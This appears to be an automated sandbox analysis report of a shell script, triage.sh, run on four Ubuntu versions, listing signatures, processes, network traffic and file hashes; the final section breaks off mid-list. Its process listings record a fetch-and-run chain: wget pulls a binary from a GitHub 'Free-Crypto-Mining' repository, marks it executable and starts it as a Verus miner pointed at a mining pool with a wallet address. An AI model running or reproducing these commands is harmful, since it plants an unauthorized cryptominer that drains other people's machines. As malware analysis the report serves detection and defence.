Analysis Overview
SHA256
6df4fd30bb503ece3c987d6932d355fa7da868fa28f901b9781e6fd8df1bf4db
Threat Level: Shows suspicious behavior
The file triage.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
Executes dropped EXE
Checks mountinfo of local process
Deletes log files
Write file to user bin folder
Legitimate hosting services abused for malware hosting/C2
Reads CPU attributes
Reads runtime system information
Writes file to tmp directory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-14 09:08
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-14 09:08
Reported
2024-07-14 10:02
Platform
ubuntu1804-amd64-20240508-en
Max time kernel
0s
Max time network
1678s
Command Line
Signatures
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/filesystems | /usr/bin/sudo | N/A |
| File opened for reading | /proc/sys/kernel/ngroups_max | /usr/bin/sudo | N/A |
| File opened for reading | /proc/self/stat | /usr/bin/sudo | N/A |
Processes
/tmp/triage.sh
[/tmp/triage.sh]
/usr/bin/sudo
[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]
/usr/bin/wget
[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]
/bin/chmod
[chmod +x cc]
/usr/bin/clear
[clear]
/usr/bin/nproc
[nproc]
/tmp/cc
[./cc -a verus -o stratum+tcp://verus.farm:9999 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | raw.githubusercontent.com | udp |
| US | 1.1.1.1:53 | raw.githubusercontent.com | udp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| US | 151.101.65.91:443 | tcp | |
| US | 151.101.65.91:443 | tcp | |
| GB | 195.181.164.19:443 | tcp | |
| US | 1.1.1.1:53 | odrs.gnome.org | udp |
| US | 1.1.1.1:53 | odrs.gnome.org | udp |
| GB | 84.17.50.9:443 | odrs.gnome.org | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 91.189.91.48:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 91.189.91.97:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.17:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.97:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.98:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.98:80 | connectivity-check.ubuntu.com | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-14 09:08
Reported
2024-07-14 10:04
Platform
ubuntu2004-amd64-20240611-en
Max time kernel
0s
Max time network
1677s
Command Line
Signatures
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/cc | /tmp/cc | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/filesystems | /usr/bin/sudo | N/A |
| File opened for reading | /proc/sys/kernel/ngroups_max | /usr/bin/sudo | N/A |
| File opened for reading | /proc/self/stat | /usr/bin/sudo | N/A |
| File opened for reading | /proc/self/fd | /usr/bin/sudo | N/A |
| File opened for reading | /proc/self/fd | /usr/bin/apt-get | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/1378/status | /usr/bin/apt-get | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/clearsigned.message.lpXHE5 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.NryMN2 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.IEz5I6 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.2NSEm3 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.fKTo66 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.KpN0j4 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/cc | /usr/bin/wget | N/A |
| File opened for modification | /tmp/clearsigned.message.CEIhI4 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.MvjUg6 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.njWSs3 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.4vmEJ2 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.0Wp0G3 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.hmwWh6 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.cXTBa5 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.Qs8ct5 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.J7wuM2 | /usr/bin/apt-get | N/A |
| File opened for modification | /tmp/clearsigned.message.KcahQ3 | /usr/bin/apt-get | N/A |
Processes
/tmp/triage.sh
[/tmp/triage.sh]
/usr/bin/sudo
[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]
/usr/bin/apt-get
[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]
/usr/bin/dpkg
[/usr/bin/dpkg --print-foreign-architectures]
/usr/bin/wget
[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]
/usr/bin/chmod
[chmod +x cc]
/usr/bin/clear
[clear]
/usr/bin/nproc
[nproc]
/tmp/cc
[./cc -a verus -o stratum+tcp://verus.farm:9999 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| US | 1.1.1.1:53 | raw.githubusercontent.com | udp |
| US | 1.1.1.1:53 | raw.githubusercontent.com | udp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 91.189.91.96:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.48:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.17:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 91.189.91.96:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.96:80 | connectivity-check.ubuntu.com | tcp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| US | 1.1.1.1:53 | connectivity-check.ubuntu.com | udp |
| GB | 185.125.190.96:80 | connectivity-check.ubuntu.com | tcp |
Files
/tmp/clearsigned.message.Qs8ct5
| MD5 | f7baae962e2417343c0d68864dea6b69 |
| SHA1 | 014599a6b6aff7497bc72d0f6ae30f7aa6383c1a |
| SHA256 | 52486e27d87061aa66607e1c03ab199be5658c67d4f166c20793ded09859bd6f |
| SHA512 | fc0fca14d6752a81dfb433846e08ece181a51f72210126d935b6dde959aba36a04f5a92c2a0c2927c47e646807438f588b3f04f616ea34a10204baf54541bf23 |
/tmp/cc
| MD5 | 4011d473f6b06caa7f3d514e4eeb2184 |
| SHA1 | 529bda4d64920cac51baa6b34b8bcabf19d97248 |
| SHA256 | bf7d1a01e88322991a824676601b46be7625b50a9d8ee8de085cc86ba76f7bc2 |
| SHA512 | 45f9da5d9f43c1876fc3659a8e7e03b9d06ec83bf6c8d237daf3809cbec01a5c59688a1cf4780d695750fc42920428ff69545f5dce11b888418df919c3625f39 |
/root/.wget-hsts
| MD5 | 038d4879bedc1927b997e78e916bf0c3 |
| SHA1 | eb668e8ec9e5b2bc3a55b9ff4682cfed0a8b1c60 |
| SHA256 | e237b88adfd514200465204a69d4f68288ef95b36be5d72cb1917d222311c5fe |
| SHA512 | 4e04e1b283000db06cc4fb9cfcbc676461e09a23e9e12472129aa01ec574d4e32070c120f9afcd04a0626d2f7fa690e3e05e9fb8a2581996e33f436e424db2c7 |
Analysis: behavioral3
Detonation Overview
Submitted
2024-07-14 09:08
Reported
2024-07-14 10:04
Platform
ubuntu2204-amd64-20240611-en
Max time kernel
5s
Max time network
897s
Command Line
Signatures
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/cc | /tmp/cc | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/1585/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/1/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/1/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/sudo | N/A |
| File opened for reading | /proc/1/limits | /usr/bin/sudo | N/A |
| File opened for reading | /proc/1/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/self/fd | /usr/bin/apt-get | N/A |
| File opened for reading | /proc/sys/kernel/ngroups_max | /usr/bin/apt-get | N/A |
| File opened for reading | /proc/1584/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/self/stat | /usr/bin/sudo | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/sys/kernel/ngroups_max | /usr/bin/sudo | N/A |
| File opened for reading | /proc/1583/cgroup | /usr/lib/apt/methods/http | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/cc | /usr/bin/wget | N/A |
Processes
/tmp/triage.sh
[/tmp/triage.sh]
/usr/bin/sudo
[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]
/usr/bin/apt-get
[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]
/usr/bin/dpkg
[/usr/bin/dpkg --print-foreign-architectures]
/usr/bin/dpkg
[/usr/bin/dpkg --print-foreign-architectures]
/usr/lib/apt/methods/http
[/usr/lib/apt/methods/http]
/usr/lib/apt/methods/http
[/usr/lib/apt/methods/http]
/usr/lib/apt/methods/http
[/usr/lib/apt/methods/http]
/usr/lib/apt/methods/http
[/usr/lib/apt/methods/http]
/usr/bin/wget
[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]
/usr/bin/chmod
[chmod +x cc]
/usr/bin/clear
[clear]
/usr/bin/nproc
[nproc]
/tmp/cc
[./cc -a verus -o stratum+tcp://verus.farm:9999 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| US | 8.8.8.8:53 | _http._tcp.se.archive.ubuntu.com | udp |
| US | 8.8.8.8:53 | se.archive.ubuntu.com | udp |
| US | 8.8.8.8:53 | se.archive.ubuntu.com | udp |
| SE | 194.71.11.165:80 | se.archive.ubuntu.com | tcp |
| US | 8.8.8.8:53 | _http._tcp.saimei.ftp.acc.umu.se | udp |
| US | 8.8.8.8:53 | _http._tcp.security.ubuntu.com | udp |
| US | 8.8.8.8:53 | saimei.ftp.acc.umu.se | udp |
| US | 8.8.8.8:53 | saimei.ftp.acc.umu.se | udp |
| US | 8.8.8.8:53 | security.ubuntu.com | udp |
| US | 8.8.8.8:53 | security.ubuntu.com | udp |
| SE | 194.71.11.138:80 | saimei.ftp.acc.umu.se | tcp |
| GB | 185.125.190.82:80 | security.ubuntu.com | tcp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.108.133:443 | raw.githubusercontent.com | tcp |
Files
/var/cache/apt/archives/partial/m4_1.4.18-5ubuntu2_amd64.deb
| MD5 | 37ff1a23261e591841876b445fb64269 |
| SHA1 | 7a851efc87635d8c691f3b5513c9b3c960c76f03 |
| SHA256 | 572a544d2c18bf49d25c465720c570cd8e6e38731386ac9c0a7f29bed2486f3e |
| SHA512 | 93e92c12d65be24be49c20a004c8d6ce55ad5f9c788b6a8092808796c6c4670acdccd5b8591152967117647757fcdbf571ebadd1342ac9729ea88c8e625b61b6 |
/var/cache/apt/archives/partial/autoconf_2.71-2_all.deb
| MD5 | a5c1029062b287f8df7b37dc43c9264f |
| SHA1 | f8eeb30ce97e0b41f14feb86bd0e02a600efcded |
| SHA256 | 96b528889794c4134015a63c75050f93d8aecdf5e3f2a20993c1433f4c61b80e |
| SHA512 | c450fb56789f533ac939beeaf19019aeaee417bc8de4b3234b0ac4a3575f114d803046f0475264d70a7b724727d2be4a4ce49023f120086b179ebf4e123018e7 |
/var/cache/apt/archives/partial/autotools-dev_20220109.1_all.deb
| MD5 | 554dc72dc46c7ebd3caf852031a94fe8 |
| SHA1 | 2899e7c9989ee14a2be5a5a431a49498e1494084 |
| SHA256 | d909f0327b09d9a9136239caca975df89782fa28efd721c4eb4caea422d3fc5a |
| SHA512 | b3add366e8549028f8de8c1c21796ff1ed8831e3432dedac73e795e021bcd23fb0c4e5fcbaf6f512b21b2f5d1c747bc7bccad1719a3255988ff2d7f5ce81f3d4 |
/var/cache/apt/archives/partial/automake_1%3a1.16.5-1.3_all.deb
| MD5 | eeea4b7cf5024babf73a4dd96a6f5790 |
| SHA1 | 0950f7e15117bd6f7167b11bcd12801a98111fbf |
| SHA256 | 59e3890fc8407bcf8ccc9f709d6513156346d5c942e8c624dc90435e58f6f978 |
| SHA512 | 078de0cb9f0393d8bdfa7d1b5db0eb718125e15a65bd6038866cb9f84b033440087cbcc8f773af2102a14c42dd71360b988986fbbc679bcabe1dfc1c66c5d931 |
/var/cache/apt/archives/partial/libcurl4-openssl-dev_7.81.0-1ubuntu1.16_amd64.deb
| MD5 | 888058d6427ed97a3eccf59cb9867b2d |
| SHA1 | 66c360985b77680e27b1ed44ed7c9946b6f12211 |
| SHA256 | f74a1c1d0348601ad1baa8b32011f71f8e486099904492fe48e3fb3172c87c5e |
| SHA512 | 4e0f93a220de35ae77552057cc7922d5f454493060776afd61306ef735302dc725625c974f9c37e2e2f32d47e90d07e5652671e51fc43fd5b002c48524e65a74 |
/var/cache/apt/archives/partial/libjansson-dev_2.13.1-1.1build3_amd64.deb
| MD5 | 48df7bbc36d5cb03b7352ffb938b01b7 |
| SHA1 | 78d69ae257c47adba4ef33ed36d7ebb355df9de9 |
| SHA256 | d2cead9aa3c370c58a1c2ee68bdc56ab13dea7cc2e636d87da5e762410b4d238 |
| SHA512 | 1dd5e3a2a15fe02219ba07009adf8b1b371b4ab03223d3381d9c26378d777b21f4cc8b65a408d0c85cfeb558685cd8a01c0884f677fe2eee4d03ba0c0054b18b |
/var/cache/apt/archives/partial/libomp5-14_1%3a14.0.0-1ubuntu1.1_amd64.deb
| MD5 | 43e99ed785c926bc2dd92553ddbc758b |
| SHA1 | 8d3db5fc8140ebbe7dfa7cd69008871564198e9f |
| SHA256 | 7b69ec021dd19555c16e250827f57be88381ff2fff9bdbd1b3a2d25d27558cea |
| SHA512 | db068750b9367f361aa883f4412c0d02606838c5ef13aeec0935caf62ea8bbf590986971636fc369583af401ba8e8f250d1818a0c58a75593b6c214590c3432c |
/var/cache/apt/archives/partial/libomp-14-dev_1%3a14.0.0-1ubuntu1.1_amd64.deb
| MD5 | 151772c05a23abdbfabf36caec2970ed |
| SHA1 | a012872cbe6b8b0eaf0fb116e7d7425aa5c6d2a6 |
| SHA256 | ce3d72f3d7c1b499b156303c8415e729fe027da7ab2f45653e92e3e64593c402 |
| SHA512 | 7b4be36bcc7b6d140151c9f2e703efd5454b1356e8cf17552903ebbfb62bc57db974a3ca5de56a9a714396233a73b86aabf4dd8910abc6222c90a48e6860be29 |
/var/cache/apt/archives/partial/libomp-dev_1%3a14.0-55~exp2_amd64.deb
| MD5 | e36568cabd91924b5158979ddc670e12 |
| SHA1 | 09ea25565a7d225432800404b1fae96c954f2fda |
| SHA256 | 445f75e6fd75fe5606e7a2855b8bf13ddb4301ae4ed6d364d30b5e403f86e634 |
| SHA512 | 2a79b3a5ae5bf9ecf6a757588ab99086962053a46397318152fa59d039a761f7c09fc34c28608c682ea1bd01e68846916505349d6e6dc4469b49023c170c1df7 |
/var/cache/apt/archives/partial/libllvm14_1%3a14.0.0-1ubuntu1.1_amd64.deb
| MD5 | 04f816be048abfc53e8ddce7179b329a |
| SHA1 | 646be437f934b568f42bf659df1bd86703295672 |
| SHA256 | 9044b614a6c7fb6262e7cbeb13dc731fc0c92bed96281c1a3920dd706442ee8e |
| SHA512 | 412647a0187117f0764eec27e6668346421bbc8d3bac2591248b8c0cf062b0724ee833ea3d490d651b3d43362e758ca38bb24285d495592432a7d4d5c90df9ee |
/tmp/cc
| MD5 | 4011d473f6b06caa7f3d514e4eeb2184 |
| SHA1 | 529bda4d64920cac51baa6b34b8bcabf19d97248 |
| SHA256 | bf7d1a01e88322991a824676601b46be7625b50a9d8ee8de085cc86ba76f7bc2 |
| SHA512 | 45f9da5d9f43c1876fc3659a8e7e03b9d06ec83bf6c8d237daf3809cbec01a5c59688a1cf4780d695750fc42920428ff69545f5dce11b888418df919c3625f39 |
/root/.wget-hsts
| MD5 | 16fdc900e756fb3bfe4b1b426aefa882 |
| SHA1 | e48997c55c9a4d226d98329499d68796e3c13d90 |
| SHA256 | 981887a6e8e4f811bba9f0484e6e184498c442e96a8e46deb11abc48b83819f2 |
| SHA512 | ffe0b95f9934351360e6ac460027df6e1e7fc1b40ef55fa66676fae3aa19648abd9851a6b612d669fc27efc3e61b6d3384822a78e155e745acddeb2afce9c486 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-07-14 09:08
Reported
2024-07-14 10:04
Platform
ubuntu2404-amd64-20240523-en
Max time kernel
531s
Max time network
557s
Command Line
Signatures
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /var/lib/dpkg/tmp.ci/preinst | /var/lib/dpkg/tmp.ci/preinst | N/A |
| N/A | /var/lib/dpkg/info/automake.postinst | /var/lib/dpkg/info/automake.postinst | N/A |
| N/A | /tmp/cc | /tmp/cc | N/A |
Checks mountinfo of local process
| Description | Indicator | Process | Target |
| File opened for reading | /proc/1/mountinfo | /usr/bin/ischroot | N/A |
Deletes log files
| Description | Indicator | Process | Target |
| File deleted | /var/log/apt/eipp.log.xz | /usr/bin/apt-get | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Write file to user bin folder
| Description | Indicator | Process | Target |
| File opened for modification | /usr/bin/ifnames.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/c_rehash.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/autoheader.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/autom4te.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/autoscan.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/autoupdate.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/dh_autotools-dev_restoreconfig.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/aclocal-1.16.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/autoconf.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/autoreconf.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/dh_autotools-dev_updateconfig.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/openssl.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/automake-1.16.dpkg-new | /usr/bin/dpkg | N/A |
| File opened for modification | /usr/bin/curl-config.dpkg-new | /usr/bin/dpkg | N/A |
Reads CPU attributes
| Description | Indicator | Process | Target |
| File opened for reading | /sys/devices/system/cpu/possible | /tmp/cc | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/kernel/ngroups_max | /usr/bin/setpriv | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /tmp/cc | N/A |
| File opened for reading | /proc/sys/kernel/seccomp/actions_avail | /usr/bin/sudo | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/2655/status | /usr/bin/setpriv | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/self/stat | /usr/bin/sudo | N/A |
| File opened for reading | /proc/self/mountinfo | /usr/bin/ischroot | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/mkdir | N/A |
| File opened for reading | /proc/sys/kernel/cap_last_cap | /usr/bin/setpriv | N/A |
| File opened for reading | /proc/self/loginuid | /usr/bin/sudo | N/A |
| File opened for reading | /proc/2504/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/2503/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/mkdir | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/mkdir | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/sys/kernel/ngroups_max | /usr/bin/apt-get | N/A |
| File opened for reading | /proc/1/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/sys/kernel/cap_last_cap | /usr/bin/sudo | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/sudo | N/A |
| File opened for reading | /proc/sys/kernel/ngroups_max | /usr/bin/sudo | N/A |
| File opened for reading | /proc/self/fd | /usr/bin/apt-get | N/A |
| File opened for reading | /proc/sys/kernel/random/boot_id | /usr/bin/setpriv | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/1/limits | /usr/bin/sudo | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/wget | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/mkdir | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
| File opened for reading | /proc/1/cgroup | /usr/lib/apt/methods/http | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/dpkg | N/A |
| File opened for reading | /proc/filesystems | /usr/bin/tar | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/cc | /usr/bin/wget | N/A |
Processes
/tmp/triage.sh
[/tmp/triage.sh]
/usr/bin/sudo
[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]
/usr/bin/apt-get
[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]
/usr/bin/dpkg
[/usr/bin/dpkg --print-foreign-architectures]
/usr/bin/dpkg
[/usr/bin/dpkg --print-foreign-architectures]
/usr/lib/apt/methods/http
[/usr/lib/apt/methods/http]
/usr/bin/ischroot
[/usr/bin/ischroot -t]
/usr/lib/apt/methods/http
[/usr/lib/apt/methods/http]
/usr/lib/apt/methods/http
[/usr/lib/apt/methods/http]
/bin/sh
[/bin/sh -c /usr/sbin/dpkg-preconfigure --apt || true]
/usr/sbin/dpkg-preconfigure
[/usr/sbin/dpkg-preconfigure --apt]
/usr/local/sbin/locale
[locale charmap]
/usr/local/bin/locale
[locale charmap]
/usr/sbin/locale
[locale charmap]
/usr/bin/locale
[locale charmap]
/usr/bin/dpkg
[/usr/bin/dpkg --assert-multi-arch]
/usr/bin/dpkg
[/usr/bin/dpkg --assert-protected-field]
/usr/bin/dpkg
[/usr/bin/dpkg --status-fd 32 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]
/usr/sbin/sh
[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]
/usr/bin/sh
[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]
/usr/lib/needrestart/dpkg-status
[/usr/lib/needrestart/dpkg-status]
/usr/bin/mkdir
[mkdir -p /run/needrestart]
/usr/sbin/dpkg-split
[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]
/usr/bin/dpkg-split
[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]
/usr/sbin/dpkg-deb
[dpkg-deb --control /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]
/usr/bin/dpkg-deb
[dpkg-deb --control /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]
/usr/sbin/tar
[tar -x -f - --warning=no-timestamp]
/usr/bin/tar
[tar -x -f - --warning=no-timestamp]
/usr/bin/touch
[touch /run/needrestart/unpacked]
/usr/sbin/dpkg-deb
[dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]
/usr/bin/dpkg-deb
[dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]
/usr/sbin/rm
[rm -rf -- /var/lib/dpkg/tmp.ci]
/usr/bin/rm
[rm -rf -- /var/lib/dpkg/tmp.ci]
/usr/sbin/dpkg-split
[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]
/usr/bin/dpkg-split
[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]
/usr/sbin/dpkg-deb
[dpkg-deb --control /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]
/usr/bin/dpkg-deb
[dpkg-deb --control /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]
/usr/sbin/tar
[tar -x -f - --warning=no-timestamp]
/usr/bin/tar
[tar -x -f - --warning=no-timestamp]
/usr/sbin/dpkg-deb
